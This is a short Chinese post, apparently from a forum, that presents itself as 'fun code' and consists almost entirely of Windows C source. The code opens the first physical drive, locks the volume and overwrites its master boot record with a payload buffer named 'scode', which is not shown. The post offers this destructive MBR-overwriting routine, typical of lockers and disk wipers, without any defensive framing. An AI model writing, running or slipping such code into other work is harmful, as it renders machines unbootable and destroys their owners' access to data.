发现个好玩的代码改写MBR

 HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);

//MBR结束标记55AA
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
//打开磁盘驱动
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (hDevice == INVALID_HANDLE_VALUE)
return -1;

//锁定卷
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);

// 写入内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);

//解除卷锁定
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);

 
ExitProcess(-1);
return 0;

运行效果
